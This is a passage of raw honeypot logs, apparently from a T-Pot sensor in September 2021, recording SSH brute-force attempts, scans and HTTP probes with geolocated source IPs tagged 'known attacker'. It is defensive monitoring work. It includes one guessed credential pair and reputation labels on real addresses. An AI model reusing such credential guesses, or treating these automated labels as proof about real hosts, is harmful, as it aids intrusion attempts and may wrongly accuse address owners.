35534	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:09:19.768101+03	2021-09-20 15:15:03.390689+03	{"_id": "rAYcA3wBvYTbRNuEVFwe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.login.failed", "message": "login attempt [hakim/hakim] failed", "session": "66a7e72efe5a", "@version": "1", "password": "hakim", "username": "hakim", "timestamp": "2021-09-20T12:09:19.768101Z", "@timestamp": "2021-09-20T12:09:19.768Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
35535	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:09:21.048342+03	2021-09-20 15:15:03.39169+03	{"_id": "rgYcA3wBvYTbRNuEWFwG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "66a7e72efe5a", "@version": "1", "duration": 2.7554163932800293, "timestamp": "2021-09-20T12:09:21.048342Z", "@timestamp": "2021-09-20T12:09:21.048Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
35536	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 15:09:22.52233+03	2021-09-20 15:15:03.392689+03	{"_id": "sAYcA3wBvYTbRNuEW1zu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "f0461130d325", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:09:22.522330Z", "@timestamp": "2021-09-20T12:09:22.522Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
35537	121.4.68.188	109.199.241.180	Suricata	2021-09-20 15:09:22.79463+03	2021-09-20 15:15:03.39469+03	{"_id": "sgYcA3wBvYTbRNuEXVwT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:09:22.236429+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "121.4.68.188", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 239089990409101, "payload": "AAADzAYU/Il4XE6UtMheVHBAZJCyOAAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 47428, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:09:22.794630Z", "@timestamp": "2021-09-20T12:09:22.794Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........x\\\\N...^Tp@d..8...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	CN
35538	121.4.68.188	109.199.241.180	Fatt	2021-09-20 15:09:22.79463+03	2021-09-20 15:15:03.39569+03	{"_id": "swYcA3wBvYTbRNuEXlwW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "121.4.68.188", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 47428, "dest_port": 22, "timestamp": "2021-09-20T12:09:22.794630", "@timestamp": "2021-09-20T12:09:22.794Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
35539	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:09:22.523183+03	2021-09-20 15:15:03.396689+03	{"_id": "uQYcA3wBvYTbRNuEXlxa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "121.4.68.188", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 47428, "timestamp": "2021-09-20T12:09:22.523183", "@timestamp": "2021-09-20T12:09:22.523Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
35540	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 15:09:22.79523+03	2021-09-20 15:15:03.39769+03	{"_id": "ugYcA3wBvYTbRNuEX1zX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "f0461130d325", "@version": "1", "timestamp": "2021-09-20T12:09:22.795230Z", "@timestamp": "2021-09-20T12:09:22.795Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
35541	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 15:09:24.702106+03	2021-09-20 15:15:03.39969+03	{"_id": "ywYcA3wBvYTbRNuEZ1yp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "ebd95aee0017", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:09:24.702106Z", "@timestamp": "2021-09-20T12:09:24.702Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	ID
35542	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 15:09:24.942215+03	2021-09-20 15:15:03.40069+03	{"_id": "yQYcA3wBvYTbRNuEZ1yo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "ebd95aee0017", "@version": "1", "timestamp": "2021-09-20T12:09:24.942215Z", "@timestamp": "2021-09-20T12:09:24.942Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	\N	ID
35543	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:09:25.840894+03	2021-09-20 15:15:03.40169+03	{"_id": "zAYcA3wBvYTbRNuEaFzM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:09:25.680507+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "87.251.67.120", "flow_id": 151414675694139, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 42948, "timestamp": "2021-09-20T12:09:25.840894Z", "@timestamp": "2021-09-20T12:09:25.840Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
35544	107.189.14.98	109.199.241.180	Tanner	2021-09-20 15:09:27.291247+03	2021-09-20 15:15:03.403691+03	{"_id": "4AYcA3wBvYTbRNuEb1x_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/", "peer": {}, "type": "Tanner", "uuid": "c012a53c-47fa-414b-a3ea-566b19c5491a", "geoip": {"ip": "107.189.14.98", "asn": 53667, "as_org": "FranTech Solutions", "dma_code": 759, "latitude": 41.1034, "location": {"lat": 41.1034, "lon": -104.9059}, "timezone": "America/Denver", "city_name": "Cheyenne", "longitude": -104.9059, "postal_code": "82001", "region_code": "WY", "region_name": "Wyoming", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "method": "GET", "src_ip": "107.189.14.98", "status": 200, "cookies": {"sess_uuid": null}, "headers": {"host": "109.199.241.180:80", "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "connection": "close", "user-agent": "Linux Gnu (cow) ", "accept-encoding": "gzip, deflate", "accept-language": "en-GB,en;q=0.5", "upgrade-insecure-requests": "1"}, "@version": "1", "src_port": 44036, "dest_port": 80, "timestamp": "2021-09-20T12:09:27.291247", "@timestamp": "2021-09-20T12:09:27.291Z", "response_msg": {"version": "0.6.0", "response": {"message": {"detection": {"name": "index", "type": 1, "order": 1, "version": "0.6.0"}, "sess_uuid": "9ee3d86f-01b8-45f5-8522-c2e9fb568eb3"}}}, "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	\N	known attacker	US
35545	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:09:27.362953+03	2021-09-20 15:15:03.404693+03	{"_id": "4QYcA3wBvYTbRNuEcFye", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "http": {"url": "/", "length": 216, "status": 200, "hostname": "109.199.241.180", "protocol": "HTTP/1.1", "http_port": 80, "http_method": "GET", "http_user_agent": "Linux Gnu (cow)", "http_content_type": "text/html"}, "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "dest_ip": "107.189.14.98", "flow_id": 1573778995262769, "@version": "1", "fileinfo": {"md5": "e3cf3a2e9096e963c95edee2a67be51b", "gaps": false, "size": 216, "magic": "HTML document, ASCII text", "state": "CLOSED", "tx_id": 0, "stored": false, "filename": "/"}, "in_iface": "enp5s0", "src_port": 80, "app_proto": "http", "dest_port": 44036, "timestamp": "2021-09-20T12:09:27.362953Z", "@timestamp": "2021-09-20T12:09:27.362Z", "event_type": "fileinfo", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	fileinfo	\N	\N
35546	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:09:27.324484+03	2021-09-20 15:15:03.405692+03	{"_id": "7QYcA3wBvYTbRNuEcVzn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "107.189.14.98", "@version": "1", "protocol": "http", "src_port": 80, "dest_port": 44036, "fatt_http": {"server": "Python/3.7 aiohttp/3.4.4", "responseCode": "200", "contentLength": "9652", "responseVersion": "HTTP/1.1", "serverHeaderHash": "a2bd7a0cff23ac33df90ea0a044cad6b", "serverHeaderOrder": "content_type,set_cookie,content_length,date,server,connection"}, "timestamp": "2021-09-20T12:09:27.324484", "@timestamp": "2021-09-20T12:09:27.324Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	http	\N	\N	\N	\N
35547	218.92.0.190	109.199.241.180	Suricata	2021-09-20 15:09:28.874789+03	2021-09-20 15:15:03.407689+03	{"_id": "9AYcA3wBvYTbRNuEeFxv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:09:28.874789+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 74}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 20, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN Potential SSH Scan", "signature_id": 2001219}, "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1944720288274725, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 22319, "dest_port": 22, "timestamp": "2021-09-20T12:09:28.874789Z", "@timestamp": "2021-09-20T12:09:28.874Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	CN
35548	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:09:31.498856+03	2021-09-20 15:15:03.40869+03	{"_id": "AQYcA3wBvYTbRNuEgF1A", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:09:31.478613+0000", "pkts_toclient": 2, "pkts_toserver": 4, "bytes_toclient": 145, "bytes_toserver": 492}, "host": "1ebe93606296", "http": {"url": "/API/post", "length": 0, "status": 100, "hostname": "78.83.66.198", "protocol": "HTTP/1.1", "http_port": 8000, "http_method": "POST", "http_user_agent": "curl/7.64.0"}, "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "category": "Potential Corporate Privacy Violation", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 1, "signature": "ET POLICY HTTP Request on Unusual Port Possibly Hostile", "signature_id": 2006408}, "geoip": {}, "proto": "TCP", 